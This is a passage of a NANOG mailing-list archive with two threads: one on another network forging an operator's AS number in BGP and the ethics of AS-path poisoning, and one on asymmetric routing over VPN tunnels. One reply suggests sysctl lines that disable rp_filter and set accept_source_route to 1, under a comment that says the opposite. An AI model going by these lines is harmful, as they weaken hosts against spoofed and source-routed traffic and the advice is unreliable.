hours total. Maybe that was just by accident. I'm sort of confused why you're speaking of some ISPs in India. The incident was more or less local to Finland, wasn't it? -- Töma -------------- next part -------------- An HTML attachment was scrubbed... URL: From fhr at fhrnet.eu Wed Jun 12 18:15:05 2019 From: fhr at fhrnet.eu (Filip Hruska) Date: Wed, 12 Jun 2019 18:15:05 +0000 Subject: someone is using my AS number In-Reply-To: <539611484.329673.1560362272716@mail.yahoo.com> References: <445152232.233377.1560355558439.ref@mail.yahoo.com> <445152232.233377.1560355558439@mail.yahoo.com> <0102016b4c7655d5-f36317b5-a367-4838-8da0-27996ce65594-000000@eu-west-1.amazonses.com> <1005617293.268763.1560356442291@mail.yahoo.com> <0102016b4c8091ec-cc991677-9247-4de0-b4de-630d694c4b93-000000@eu-west-1.amazonses.com> <539611484.329673.1560362272716@mail.yahoo.com> Message-ID: <0102016b4ce687fe-6cbcbeda-812a-4522-b36f-369d939f85e7-000000@eu-west-1.amazonses.com> Seems the issue was on AS25213 side. They don't provide transit to AS15001 at all. Regards, Filip On 12 June 2019 7:57:52 pm GMT+02:00, Philip Lavine wrote: > Here is what I got from BGPMon- MY AS is 15053 > >Detected new prefix: 134.37.2.0/23 >Update time: 2019-06-11 17:58 (UTC) >Detected by #peers: 70 >Announced by: AS15053 (ROLL-GLOBAL-LLC - Roll Global LLC, US) >Upstream AS: AS15001 (ITCONVERGENCE-COM - IT Convergence Inc., US) >ASpath: 394256 174 702 25213 25213 25213 15001 15053 > >I tried contacting the upstream provider and they were no help :Contact >- IT Convergence > >| >| >| >| | | > > | > > | >| >| | >Contact - IT Convergence > >Contact us today to learn more about how your business can benefit by >partnering with IT Convergence. > | > > | > > | > > > > > >On Wednesday, June 12, 2019, 9:34:16 AM PDT, Job Snijders >wrote: > >Can you share more details? Perhaps we can put the human social network >to good use. >Other than that this is annoying - are right now operationally >impacted? >Kind regards, >Job >On Wed, Jun 12, 2019 at 12:24 Filip Hruska wrote: > >I would contact upstreams of the upstream then. This is quite a serious >offence and they should help you. > >Regards, >Filip > >On 12 June 2019 6:20:42 pm GMT+02:00, Philip Lavine > wrote: > yeah I did they are some MSP in India. No help. > >On Wednesday, June 12, 2019, 9:15:51 AM PDT, Filip Hruska > wrote: > > Contact the offending upstreams. > >Filip > >On 12 June 2019 6:05:58 pm GMT+02:00, Philip Lavine via NANOG > wrote: >What is the procedure to have another party to cease and desist in >using my AS number? >Thx > > > >-- >Sent from my Android device with K-9 Mail. Please excuse my brevity. > -- Sent from my Android device with K-9 Mail. Please excuse my brevity. -------------- next part -------------- An HTML attachment was scrubbed... URL: From alejandroacostaalamo at gmail.com Wed Jun 12 19:23:43 2019 From: alejandroacostaalamo at gmail.com (Alejandro Acosta) Date: Wed, 12 Jun 2019 15:23:43 -0400 Subject: someone is using my AS number In-Reply-To: <445152232.233377.1560355558439@mail.yahoo.com> References: <445152232.233377.1560355558439.ref@mail.yahoo.com> <445152232.233377.1560355558439@mail.yahoo.com> Message-ID: <5fdd9132-8cba-3c59-4ef9-4fd7a9eb6a68@gmail.com> Unfortunately RPKI is not useful in this case. Question: What else could be done to prevent this? Alejandro, On 6/12/19 12:05 PM, Philip Lavine via NANOG wrote: > What is the procedure to have another party to cease and desist in > using my AS number? > > Thx -------------- next part -------------- An HTML attachment was scrubbed... URL: -------------- next part -------------- A non-text attachment was scrubbed... Name: pEpkey.asc Type: application/pgp-keys Size: 1782 bytes Desc: not available URL: From surfer at mauigateway.com Wed Jun 12 19:25:52 2019 From: surfer at mauigateway.com (Scott Weeks) Date: Wed, 12 Jun 2019 12:25:52 -0700 Subject: someone is using my AS number Message-ID: <20190612122552.43D2F83C@m0117565.ppops.net> >On 12 June 2019 6:05:58 pm GMT+02:00, Philip Lavine via NANOG >What is the procedure to have another party to cease and desist >in using my AS number? On 12 June 2019 7:57:52 pm GMT+02:00, Philip Lavine wrote: > Here is what I got from BGPMon- MY AS is 15053 > >Detected new prefix: 134.37.2.0/23 >ASpath: 394256 174 702 25213 25213 25213 15001 15053 --- fhr at fhrnet.eu wrote: From: Filip Hruska Seems the issue was on AS25213 side. They don't provide transit to AS15001 at all. ------------------------------------------------------- Here's how I see it: 134.37.2.0/23 - 702 25213 25213 So, Verizon or Telia should be able to help stop Cargotec or DNA in Helsinki, Finland from announcing the prefix to the world. https://bgp.he.net/AS25213#_graph4 https://bgp.he.net/AS16086#_graph4 scott From arturo.servin at gmail.com Wed Jun 12 19:26:55 2019 From: arturo.servin at gmail.com (Arturo Servin) Date: Wed, 12 Jun 2019 21:26:55 +0200 Subject: someone is using my AS number In-Reply-To: <5fdd9132-8cba-3c59-4ef9-4fd7a9eb6a68@gmail.com> References: <445152232.233377.1560355558439.ref@mail.yahoo.com> <445152232.233377.1560355558439@mail.yahoo.com> <5fdd9132-8cba-3c59-4ef9-4fd7a9eb6a68@gmail.com> Message-ID: Proper filtering from the upstream providers. .as On Wed, Jun 12, 2019 at 9:25 PM Alejandro Acosta < alejandroacostaalamo at gmail.com> wrote: > Unfortunately RPKI is not useful in this case. > > Question: What else could be done to prevent this? > > > Alejandro, > > > > On 6/12/19 12:05 PM, Philip Lavine via NANOG wrote: > > What is the procedure to have another party to cease and desist in using > my AS number? > > Thx > > -------------- next part -------------- An HTML attachment was scrubbed... URL: From valdis.kletnieks at vt.edu Wed Jun 12 21:07:30 2019 From: valdis.kletnieks at vt.edu (Valdis Kl=?utf-8?Q?=c4=93?=tnieks) Date: Wed, 12 Jun 2019 17:07:30 -0400 Subject: someone is using my AS number In-Reply-To: References: <445152232.233377.1560355558439.ref@mail.yahoo.com>, <445152232.233377.1560355558439@mail.yahoo.com> Message-ID: <4297.1560373650@turing-police> On Wed, 12 Jun 2019 16:10:00 -0000, David Guo via NANOG said: > Get Outlook for iOS Does it work better on XE or XR versions? /ducks ;) -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 832 bytes Desc: not available URL: From cfriacas at fccn.pt Wed Jun 12 21:38:21 2019 From: cfriacas at fccn.pt (=?ISO-8859-15?Q?Carlos_Fria=E7as?=) Date: Wed, 12 Jun 2019 22:38:21 +0100 (WEST) Subject: someone is using my AS number In-Reply-To: <1256779798.313848.1560363016433@mail.yahoo.com> References: <445152232.233377.1560355558439.ref@mail.yahoo.com> <445152232.233377.1560355558439@mail.yahoo.com> <0102016b4c7655d5-f36317b5-a367-4838-8da0-27996ce65594-000000@eu-west-1.amazonses.com> <1005617293.268763.1560356442291@mail.yahoo.com> <0102016b4c8091ec-cc991677-9247-4de0-b4de-630d694c4b93-000000@eu-west-1.amazonses.com> <539611484.329673.1560362272716@mail.yahoo.com> <1256779798.313848.1560363016433@mail.yahoo.com> Message-ID: AS15001 ? (IT Convergence Inc.) MSP in India: did they have any slightest idea about the issue? :-) Cheers, Carlos On Wed, 12 Jun 2019, Philip Lavine via NANOG wrote: > I talked to the upstream provider on AS 1500. I called the telephone number on the abuse record on ARIN and it went to a MSP in India. > > On Wednesday, June 12, 2019, 11:06:13 AM PDT, Töma Gavrichenkov wrote: > > > Our records show this happened yesterday and lasted before 2019-06-11 > 20:24:00, for 2.5 hours total. Maybe that was just by accident. > > I'm sort of confused why you're speaking of some ISPs in India. The > incident was more or less local to Finland, wasn't it? > > -- > Töma > > From me at anuragbhatia.com Wed Jun 12 21:44:18 2019 From: me at anuragbhatia.com (Anurag Bhatia) Date: Thu, 13 Jun 2019 03:14:18 +0530 Subject: Issue with point to point VPNs behind NAT and asymmetric traffic Message-ID: Hello everyone, Trying to get my head around a certain unexpected behaviour. I am running two site to site VPNs (wireguard now, OpenVPN earlier) between my home and a remote server over two different WAN links. Both WAN links are just consumer connections - one with public IP and one with CGNATed IP. The redundancy here is taken care of by the OSPF running via FRR on both ends. The unexpected behaviour I get is that if I set OSPF cost to prefer say link1 between home -> server and prefer link 2 between server -> home then connectivity completely breaks between the routed pools. The point to point IPs stay reachable (which is over expected links i.e symmetric via both ends). As long as both ends prefer link1 or link2, it works fine. At first, I thought it had to do something with NAT but still can't understand how. Since VPN tunnels have a keep-alive timer (for 10 seconds), the tunnel is always up. Any idea why asymmetric packets are being dropped here? This exact behaviour was in case of earlier OpenVPN + bird + iBGP and is still the same when I moved everything to Wireguard for VPN + FRR for routing + OSPF. Thanks. -- Anurag Bhatia anuragbhatia.com -------------- next part -------------- An HTML attachment was scrubbed... URL: From blakangel at gmail.com Wed Jun 12 22:02:42 2019 From: blakangel at gmail.com (blakangel at gmail.com) Date: Wed, 12 Jun 2019 15:02:42 -0700 Subject: Issue with point to point VPNs behind NAT and asymmetric traffic In-Reply-To: References: Message-ID: <487f797c-081d-e77a-9109-183a6e6199f3@gmail.com> Could it be as simple as a stateful firewall? Anurag Bhatia wrote on 6/12/2019 14:44: > Hello everyone, > > Trying to get my head around a certain unexpected behaviour. > > > I am running two site to site VPNs (wireguard now, OpenVPN earlier) > between my home and a remote server over two different WAN links. Both > WAN links are just consumer connections - one with public IP and one > with CGNATed IP. > The redundancy here is taken care of by the OSPF running via FRR on > both ends. > > > The unexpected behaviour I get is that if I set OSPF cost to prefer > say link1 between home -> server and prefer link 2 between server -> > home then connectivity completely breaks between the routed pools. The > point to point IPs stay reachable (which is over expected links i.e > symmetric via both ends). As long as both ends prefer link1 or link2, > it works fine. At first, I thought it had to do something with NAT but > still can't understand how. Since VPN tunnels have a keep-alive timer > (for 10 seconds), the tunnel is always up. Any idea why asymmetric > packets are being dropped here? > This exact behaviour was in case of earlier OpenVPN + bird + iBGP and > is still the same when I moved everything to Wireguard for VPN + FRR > for routing + OSPF. > > > > > Thanks. > > > -- > > > Anurag Bhatia > anuragbhatia.com -------------- next part -------------- An HTML attachment was scrubbed... URL: From ross at tajvar.io Wed Jun 12 22:04:56 2019 From: ross at tajvar.io (Ross Tajvar) Date: Wed, 12 Jun 2019 18:04:56 -0400 Subject: Issue with point to point VPNs behind NAT and asymmetric traffic In-Reply-To: References: Message-ID: My guess is something is doing stateful filtering. If you send a SYN down one link and the SYN-ACK comes back a different link, the receiving firewall will discard it as bogus. You should be able to test this by doing pcaps to confirm the traffic is arriving (though I'm not familiar with WireGuard so maybe not), and you should be able to disable this by setting a rule or unchecking a box in your firewall. On Wed, Jun 12, 2019, 5:47 PM Anurag Bhatia wrote: > Hello everyone, > > Trying to get my head around a certain unexpected behaviour. > > > I am running two site to site VPNs (wireguard now, OpenVPN earlier) > between my home and a remote server over two different WAN links. Both WAN > links are just consumer connections - one with public IP and one with > CGNATed IP. > The redundancy here is taken care of by the OSPF running via FRR on both > ends. > > > The unexpected behaviour I get is that if I set OSPF cost to prefer say > link1 between home -> server and prefer link 2 between server -> home then > connectivity completely breaks between the routed pools. The point to point > IPs stay reachable (which is over expected links i.e symmetric via both > ends). As long as both ends prefer link1 or link2, it works fine. At first, > I thought it had to do something with NAT but still can't understand how. > Since VPN tunnels have a keep-alive timer (for 10 seconds), the tunnel is > always up. Any idea why asymmetric packets are being dropped here? > This exact behaviour was in case of earlier OpenVPN + bird + iBGP and is > still the same when I moved everything to Wireguard for VPN + FRR for > routing + OSPF. > > > > > Thanks. > > > -- > > > Anurag Bhatia > anuragbhatia.com > -------------- next part -------------- An HTML attachment was scrubbed... URL: From jerry at jtcloe.net Wed Jun 12 22:25:53 2019 From: jerry at jtcloe.net (=?utf-8?Q?Jerry_Cloe?=) Date: Wed, 12 Jun 2019 17:25:53 -0500 Subject: Issue with point to point VPNs behind NAT and asymmetric traffic In-Reply-To: References: Message-ID: Linux by default (regardless of firewall rules) will not accept a packet on an interface when the source of that packet "should" be on another interface according to the current route table (in other words, you're doing asymetric routing).   Easy fix:   # Controls source route verification net.ipv4.conf.default.rp_filter = 0 # Do not accept source routing net.ipv4.conf.default.accept_source_route = 1   -----Original message----- From:Anurag Bhatia Sent:Wed 06-12-2019 04:45 pm Subject:Issue with point to point VPNs behind NAT and asymmetric traffic To:NANOG Mailing List ; Hello everyone,   Trying to get my head around a certain unexpected behaviour.    I am running two site to site VPNs (wireguard now, OpenVPN earlier) between my home and a remote server over two different WAN links. Both WAN links are just consumer connections - one with public IP and one with CGNATed IP.  The redundancy here is taken care of by the OSPF running via FRR on both ends.    The unexpected behaviour I get is that if I set OSPF cost to prefer say link1 between home -> server and prefer link 2 between server -> home then connectivity completely breaks between the routed pools. The point to point IPs stay reachable (which is over expected links i.e symmetric via both ends). As long as both ends prefer link1 or link2, it works fine. At first, I thought it had to do something with NAT but still can't understand how. Since VPN tunnels have a keep-alive timer (for 10 seconds), the tunnel is always up. Any idea why asymmetric packets are being dropped here?  This exact behaviour was in case of earlier OpenVPN + bird + iBGP and is still the same when I moved everything to Wireguard for VPN + FRR for routing + OSPF.      Thanks.   --  Anurag Bhatia  anuragbhatia.com -------------- next part -------------- An HTML attachment was scrubbed... URL: From gtaylor at tnetconsulting.net Wed Jun 12 23:48:58 2019 From: gtaylor at tnetconsulting.net (Grant Taylor) Date: Wed, 12 Jun 2019 17:48:58 -0600 Subject: Issue with point to point VPNs behind NAT and asymmetric traffic In-Reply-To: References: Message-ID: <72ffe4f8-c4e9-f019-1699-5e0bfde5445a@spamtrap.tnetconsulting.net> On 6/12/19 3:44 PM, Anurag Bhatia wrote: > Hello everyone, Hi, > I am running two site to site VPNs (wireguard now, OpenVPN earlier) > between my home and a remote server over two different WAN links. Both > WAN links are just consumer connections - one with public IP and one > with CGNATed IP. Okay. Is there any filtering of the traffic that flows through the VPNs? Or do things have full connectivity through them? What OS is on each of the VPN endpoints? > The redundancy here is taken care of by the OSPF running via FRR on both > ends. Okay. > The unexpected behaviour I get is that if I set OSPF cost to prefer say > link1 between home -> server and prefer link 2 between server -> home > then connectivity completely breaks between the routed pools. O.o > The point to point IPs stay reachable (which is over expected links i.e > symmetric via both ends). Please clarify if those IPs are inside the VPN or outside the VPN? > As long as both ends prefer link1 or link2, it works fine. Okay. > At first, I thought it had to do something with NAT but still can't > understand how. Since VPN tunnels have a keep-alive timer (for 10 > seconds), the tunnel is always up. Is NAT or SPI being applied to the traffic flowing through the VPN? > Any idea why asymmetric packets are being dropped here? Not enough data to speculate yet. > This exact behaviour was in case of earlier OpenVPN + bird + iBGP and is > still the same when I moved everything to Wireguard for VPN + FRR for > routing + OSPF. Can I ask why the change of the VPN technology, routing daemon, and protocol all at the same time? Or was that a diagnostic step? -- Grant. . . . unix || die -------------- next part -------------- A non-text attachment was scrubbed... Name: smime.p7s Type: application/pkcs7-signature Size: 4008 bytes Desc: S/MIME Cryptographic Signature URL: From jabley at hopcount.ca Thu Jun 13 13:58:20 2019 From: jabley at hopcount.ca (Joe Abley) Date: Thu, 13 Jun 2019 09:58:20 -0400 Subject: someone is using my AS number In-Reply-To: <20190612163726.GA56607@gweep.net> References: <445152232.233377.1560355558439.ref@mail.yahoo.com> <445152232.233377.1560355558439@mail.yahoo.com> <20190612163726.GA56607@gweep.net> Message-ID: <0FAF4442-12A1-4CFF-A6E0-1671833033FE@hopcount.ca> Hey Joe, On 12 Jun 2019, at 12:37, Joe Provo wrote: > On Wed, Jun 12, 2019 at 04:10:00PM +0000, David Guo via NANOG wrote: >> Send abuse complaint to the upstreams > > ...and then name & shame publicly. AS-path forgery "for TE" was > never a good idea. Sharing the affected prefix[es]/path[s] would > be good. I realise lots of people dislike AS_PATH stuffing with other peoples' AS numbers and treat it as a form of hijacking. However, there's an argument that AS_PATH is really just a loop-avoidance mechanism, not some kind of AS-granular traceroute for prefix propagation. In that sense, stuffing 9327 into a prefix as a mechanism to stop that prefix being accepted by AS 9327 seems almost reasonable. (I assume this is the kind of TE you are talking about.) What is the principal harm of doing this? Honest question. I'm not advocating for anything, just curious. Joe -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 195 bytes Desc: Message signed with OpenPGP URL: From job at instituut.net Thu Jun 13 14:06:14 2019 From: job at instituut.net (Job Snijders) Date: Thu, 13 Jun 2019 10:06:14 -0400 Subject: someone is using my AS number In-Reply-To: <0FAF4442-12A1-4CFF-A6E0-1671833033FE@hopcount.ca> References: <445152232.233377.1560355558439.ref@mail.yahoo.com> <445152232.233377.1560355558439@mail.yahoo.com> <20190612163726.GA56607@gweep.net> <0FAF4442-12A1-4CFF-A6E0-1671833033FE@hopcount.ca> Message-ID: Hi Joe, On Thu, Jun 13, 2019 at 9:59 Joe Abley wrote: > Hey Joe, > > On 12 Jun 2019, at 12:37, Joe Provo wrote: > > > On Wed, Jun 12, 2019 at 04:10:00PM +0000, David Guo via NANOG wrote: > >> Send abuse complaint to the upstreams > > > > ...and then name & shame publicly. AS-path forgery "for TE" was > > never a good idea. Sharing the affected prefix[es]/path[s] would > > be good. > > I realise lots of people dislike AS_PATH stuffing with other peoples' AS > numbers and treat it as a form of hijacking. > > However, there's an argument that AS_PATH is really just a loop-avoidance > mechanism, not some kind of AS-granular traceroute for prefix propagation. > In that sense, stuffing 9327 into a prefix as a mechanism to stop that > prefix being accepted by AS 9327 seems almost reasonable. (I assume this is > the kind of TE you are talking about.) > > What is the principal harm of doing this? Honest question. I'm not > advocating for anything, just curious. Excellent question. 1/ We can’t really expect on the loop detection to work that way at the “jacked” side. So if this is innocent traffic engineering, it is unreliable at best. 2/ Attribution. The moment you stuff AS 2914 anywhere in the path, we may get blamed for anything that happens through the IP addresses for that route. In a way the ASNs in the AS_PATH attribute an an inter-organizational escalation flowchart. Kind regards, Job -------------- next part -------------- An HTML attachment was scrubbed... URL: From jabley at hopcount.ca Thu Jun 13 14:59:04 2019 From: jabley at hopcount.ca (Joe Abley) Date: Thu, 13 Jun 2019 10:59:04 -0400 Subject: someone is using my AS number In-Reply-To: References: <445152232.233377.1560355558439.ref@mail.yahoo.com> <445152232.233377.1560355558439@mail.yahoo.com> <20190612163726.GA56607@gweep.net> <0FAF4442-12A1-4CFF-A6E0-1671833033FE@hopcount.ca> Message-ID: <6C50BA2A-DD31-4716-81BF-C9789CBA169E@hopcount.ca> On 13 Jun 2019, at 10:06, Job Snijders wrote: > 1/ We can’t really expect on the loop detection to work that way at the “jacked” side. So if this is innocent traffic engineering, it is unreliable at best. > > 2/ Attribution. The moment you stuff AS 2914 anywhere in the path, we may get blamed for anything that happens through the IP addresses for that route. In a way the ASNs in the AS_PATH attribute an an inter-organizational escalation flowchart. Good answer! Somebody should write that down. :-) Joe -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 195 bytes Desc: Message signed with OpenPGP URL: From warren at kumari.net Thu Jun 13 15:17:33 2019 From: warren at kumari.net (Warren Kumari) Date: Thu, 13 Jun 2019 11:17:33 -0400 Subject: someone is using my AS number In-Reply-To: <0FAF4442-12A1-4CFF-A6E0-1671833033FE@hopcount.ca> References: <445152232.233377.1560355558439.ref@mail.yahoo.com> <445152232.233377.1560355558439@mail.yahoo.com> <20190612163726.GA56607@gweep.net> <0FAF4442-12A1-4CFF-A6E0-1671833033FE@hopcount.ca> Message-ID: On Thu, Jun 13, 2019 at 9:59 AM Joe Abley wrote: > > Hey Joe, > > On 12 Jun 2019, at 12:37, Joe Provo wrote: > > > On Wed, Jun 12, 2019 at 04:10:00PM +0000, David Guo via NANOG wrote: > >> Send abuse complaint to the upstreams > > > > ...and then name & shame publicly. AS-path forgery "for TE" was > > never a good idea. Sharing the affected prefix[es]/path[s] would > > be good. > > I realise lots of people dislike AS_PATH stuffing with other peoples' AS numbers and treat it as a form of hijacking. > Actually, I've been meaning to start a thread on this for a while. I have an anycast prefix - at one location I'm a customer of a customer of ISP_X & ISP_Y & ISP_Z. Because ISP_X prefers customer routes, any time a packet touches ISP_X, it goes to this location, even though it is (severely) suboptimal -- things would be better if ISP_X didn't accept this route in this location. Now, the obvious answer of "well, just ask your provider in this location to not announce it to ISP_X. That's what communities / the telephone were invented for!" doesn't work for various (entirely non-technical) reasons... Other than doing path-poisoning can anyone think of a way to accomplish what I want? (modulo the "just become a direct customer instead of being a customer of a customer" or "disable that site", or "convince the AS upstream of you to deploy communities / filters"). While icky, sometimes stuffing other people's AS in the path seems to be the only solution... W > However, there's an argument that AS_PATH is really just a loop-avoidance mechanism, not some kind of AS-granular traceroute for prefix propagation. In that sense, stuffing 9327 into a prefix as a mechanism to stop that prefix being accepted by AS 9327 seems almost reasonable. (I assume this is the kind of TE you are talking about.) > > What is the principal harm of doing this? Honest question. I'm not advocating for anything, just curious. > > > Joe > -- I don't think the execution is relevant when it was obviously a bad idea in the first place. This is like putting rabid weasels in your pants, and later expressing regret at having chosen those particular rabid weasels and that pair of pants. ---maf From job at instituut.net Thu Jun 13 15:24:32 2019 From: job at instituut.net (Job Snijders) Date: Thu, 13 Jun 2019 11:24:32 -0400 Subject: someone is using my AS number In-Reply-To: References: <445152232.233377.1560355558439.ref@mail.yahoo.com> <445152232.233377.1560355558439@mail.yahoo.com> <20190612163726.GA56607@gweep.net> <0FAF4442-12A1-4CFF-A6E0-1671833033FE@hopcount.ca> Message-ID: On Thu, Jun 13, 2019 at 11:18 Warren Kumari wrote: > On Thu, Jun 13, 2019 at 9:59 AM Joe Abley wrote: > > > > Hey Joe, > > > > On 12 Jun 2019, at 12:37, Joe Provo wrote: > > > > > On Wed, Jun 12, 2019 at 04:10:00PM +0000, David Guo via NANOG wrote: > > >> Send abuse complaint to the upstreams > > > > > > ...and then name & shame publicly. AS-path forgery "for TE" was > > > never a good idea. Sharing the affected prefix[es]/path[s] would > > > be good. > > > > I realise lots of people dislike AS_PATH stuffing with other peoples' AS > numbers and treat it as a form of hijacking. > > > > Actually, I've been meaning to start a thread on this for a while. > > I have an anycast prefix - at one location I'm a customer of a > customer of ISP_X & ISP_Y & ISP_Z. Because ISP_X prefers customer > routes, any time a packet touches ISP_X, it goes to this location, > even though it is (severely) suboptimal -- things would be better if > ISP_X didn't accept this route in this location. > > Now, the obvious answer of "well, just ask your provider in this > location to not announce it to ISP_X. That's what communities / the > telephone were invented for!" doesn't work for various (entirely > non-technical) reasons... > > Other than doing path-poisoning can anyone think of a way to > accomplish what I want? (modulo the "just become a direct customer > instead of being a customer of a customer" or "disable that site", or > "convince the AS upstream of you to deploy communities / filters"). > While icky, sometimes stuffing other people's AS in the path seems to > be the only solution... Given the prevalence of peerlock-style filters at the transit-free club, poisoning the path may result in a large outage for your prefix rather than a clever optimization. Poisoning paths is bad for all parties involved. Kind regards, Job -------------- next part -------------- An HTML attachment was scrubbed... URL: From jared at puck.nether.net Thu Jun 13 15:37:39 2019 From: jared at puck.nether.net (Jared Mauch) Date: Thu, 13 Jun 2019 11:37:39 -0400 Subject: someone is using my AS number In-Reply-To: References: <445152232.233377.1560355558439.ref@mail.yahoo.com> <445152232.233377.1560355558439@mail.yahoo.com> <20190612163726.GA56607@gweep.net> <0FAF4442-12A1-4CFF-A6E0-1671833033FE@hopcount.ca> Message-ID: You also may not know who allows their own ASN inbound as well. It certainly is a mixed bag. I do consider poisoning at best horrible hygiene and at worst evidence of malicious intent. Good filtering isn’t just prefix or AS path based it’s both. Best filtering is pinning the prefix to a specific ASN. Sent from my iCar > On Jun 13, 2019, at 11:24 AM, Job Snijders wrote: > >> On Thu, Jun 13, 2019 at 11:18 Warren Kumari wrote: > >> On Thu, Jun 13, 2019 at 9:59 AM Joe Abley wrote: >> > >> > Hey Joe, >> > >> > On 12 Jun 2019, at 12:37, Joe Provo wrote: >> > >> > > On Wed, Jun 12, 2019 at 04:10:00PM +0000, David Guo via NANOG wrote: >> > >> Send abuse complaint to the upstreams >> > > >> > > ...and then name & shame publicly. AS-path forgery "for TE" was >> > > never a good idea. Sharing the affected prefix[es]/path[s] would >> > > be good. >> > >> > I realise lots of people dislike AS_PATH stuffing with other peoples' AS numbers and treat it as a form of hijacking. >> > >> >> Actually, I've been meaning to start a thread on this for a while. >> >> I have an anycast prefix - at one location I'm a customer of a >> customer of ISP_X & ISP_Y & ISP_Z. Because ISP_X prefers customer >> routes, any time a packet touches ISP_X, it goes to this location, >> even though it is (severely) suboptimal -- things would be better if >> ISP_X didn't accept this route in this location. >> >> Now, the obvious answer of "well, just ask your provider in this >> location to not announce it to ISP_X. That's what communities / the >> telephone were invented for!" doesn't work for various (entirely >> non-technical) reasons... >> >> Other than doing path-poisoning can anyone think of a way to >> accomplish what I want? (modulo the "just become a direct customer >> instead of being a customer of a customer" or "disable that site", or >> "convince the AS upstream of you to deploy communities / filters"). >> While icky, sometimes stuffing other people's AS in the path seems to >> be the only solution... > > > Given the prevalence of peerlock-style filters at the transit-free club, poisoning the path may result in a large outage for your prefix rather than a clever optimization. Poisoning paths is bad for all parties involved. > > Kind regards, > > Job -------------- next part -------------- An HTML attachment was scrubbed... URL: From jlewis at lewis.org Thu Jun 13 15:56:16 2019 From: jlewis at lewis.org (Jon Lewis) Date: Thu, 13 Jun 2019 11:56:16 -0400 (EDT) Subject: someone is using my AS number In-Reply-To: References: <445152232.233377.1560355558439.ref@mail.yahoo.com> <445152232.233377.1560355558439@mail.yahoo.com> <20190612163726.GA56607@gweep.net> <0FAF4442-12A1-4CFF-A6E0-1671833033FE@hopcount.ca> Message-ID: I've used it in the distant past for TE purposes. Assuming you're poisoning one ASN via one transit it's not exactly rocket science to figure out if "it worked" or not. As Warren mentioned, sometimes your transits just don't provide all the knobs you need. I suspect the number of networks that have intentionally disabled loop prevention is relatively small, and those more likely "end user'ish" networks that are less likely to be the target of as-path poisoning TE...says the guy who just disabled loop prevention on a bunch of routers. :) On Thu, 13 Jun 2019, Jared Mauch wrote: > You also may not know who allows their own ASN inbound as well. It certainly is a mixed bag.  > I do consider poisoning at best horrible hygiene and at worst evidence of malicious intent.  > > Good filtering isn’t just prefix or AS path based it’s both.  > > Best filtering is pinning the prefix to a specific ASN.  > > Sent from my iCar > > On Jun 13, 2019, at 11:24 AM, Job Snijders wrote: > > On Thu, Jun 13, 2019 at 11:18 Warren Kumari wrote: > On Thu, Jun 13, 2019 at 9:59 AM Joe Abley wrote: > > > > Hey Joe, > > > > On 12 Jun 2019, at 12:37, Joe Provo wrote: > > > > > On Wed, Jun 12, 2019 at 04:10:00PM +0000, David Guo via NANOG wrote: > > >> Send abuse complaint to the upstreams > > > > > > ...and then name & shame publicly. AS-path forgery "for TE" was > > > never a good idea. Sharing the affected prefix[es]/path[s] would > > > be good. > > > > I realise lots of people dislike AS_PATH stuffing with other peoples' AS numbers and treat it as a form of hijacking. > > > > Actually, I've been meaning to start a thread on this for a while. > > I have an anycast prefix - at one location I'm a customer of a > customer of ISP_X &  ISP_Y & ISP_Z. Because ISP_X prefers customer > routes, any time a packet touches ISP_X, it goes to this location, > even though it is (severely) suboptimal -- things would be better if > ISP_X didn't accept this route in this location. > > Now, the obvious answer of "well, just ask your provider in this > location to not announce it to ISP_X. That's what communities / the > telephone were invented for!" doesn't work for various (entirely > non-technical) reasons... > > Other than doing path-poisoning can anyone think of a way to > accomplish what I want? (modulo the "just become a direct customer > instead of being a customer of a customer" or "disable that site", or > "convince the AS upstream of you to deploy communities / filters"). > While icky, sometimes stuffing other people's AS in the path seems to > be the only solution... > > > > Given the prevalence of peerlock-style filters at the transit-free club, poisoning the path may result in a large outage for your prefix rather than > a clever optimization. Poisoning paths is bad for all parties involved. > > Kind regards, > > Job > > > ---------------------------------------------------------------------- Jon Lewis, MCP :) | I route | therefore you are _________ http://www.lewis.org/~jlewis/pgp for PGP public key_________ From fhr at fhrnet.eu Thu Jun 13 16:03:19 2019 From: fhr at fhrnet.eu (Filip Hruska) Date: Thu, 13 Jun 2019 16:03:19 +0000 Subject: someone is using my AS number In-Reply-To: References: <445152232.233377.1560355558439.ref@mail.yahoo.com> <445152232.233377.1560355558439@mail.yahoo.com> <20190612163726.GA56607@gweep.net> <0FAF4442-12A1-4CFF-A6E0-1671833033FE@hopcount.ca> Message-ID: <0102016b51944255-8c2bed7f-fa7f-422a-9e95-885a6115cdc2-000000@eu-west-1.amazonses.com> I don't think the number of networks with disabled loop prevention is that small. For example, let's say you're a hosting provider who has 3 locations... no reason to do cold potato routing and you don't have dedicated links between sites, yet you still want ranges announced at DC A to be reachable from DC B and C. Kind Regards, Filip On 13 June 2019 5:56:16 pm GMT+02:00, Jon Lewis wrote: >I've used it in the distant past for TE purposes. Assuming you're >poisoning one ASN via one transit it's not exactly rocket science to >figure out if "it worked" or not. As Warren mentioned, sometimes your >transits just don't provide all the knobs you need. > >I suspect the number of networks that have intentionally disabled loop >prevention is relatively small, and those more likely "end user'ish" >networks that are less likely to be the target of as-path poisoning >TE...says the guy who just disabled loop prevention on a bunch of >routers. >:) > >On Thu, 13 Jun 2019, Jared Mauch wrote: > >> You also may not know who allows their own ASN inbound as well. It >certainly is a mixed bag.  >> I do consider poisoning at best horrible hygiene and at worst >evidence of malicious intent.  >> >> Good filtering isn’t just prefix or AS path based it’s both.  >> >> Best filtering is pinning the prefix to a specific ASN.  >> >> Sent from my iCar >> >> On Jun 13, 2019, at 11:24 AM, Job Snijders wrote: >> >> On Thu, Jun 13, 2019 at 11:18 Warren Kumari >wrote: >> On Thu, Jun 13, 2019 at 9:59 AM Joe Abley >wrote: >> > >> > Hey Joe, >> > >> > On 12 Jun 2019, at 12:37, Joe Provo > wrote: >> > >> > > On Wed, Jun 12, 2019 at 04:10:00PM +0000, David Guo via >NANOG wrote: >> > >> Send abuse complaint to the upstreams >> > > >> > > ...and then name & shame publicly. AS-path forgery "for TE" >was >> > > never a good idea. Sharing the affected prefix[es]/path[s] >would >> > > be good. >> > >> > I realise lots of people dislike AS_PATH stuffing with other >peoples' AS numbers and treat it as a form of hijacking. >> > >> >> Actually, I've been meaning to start a thread on this for a >while. >> >> I have an anycast prefix - at one location I'm a customer of a >> customer of ISP_X &  ISP_Y & ISP_Z. Because ISP_X prefers >customer >> routes, any time a packet touches ISP_X, it goes to this >location, >> even though it is (severely) suboptimal 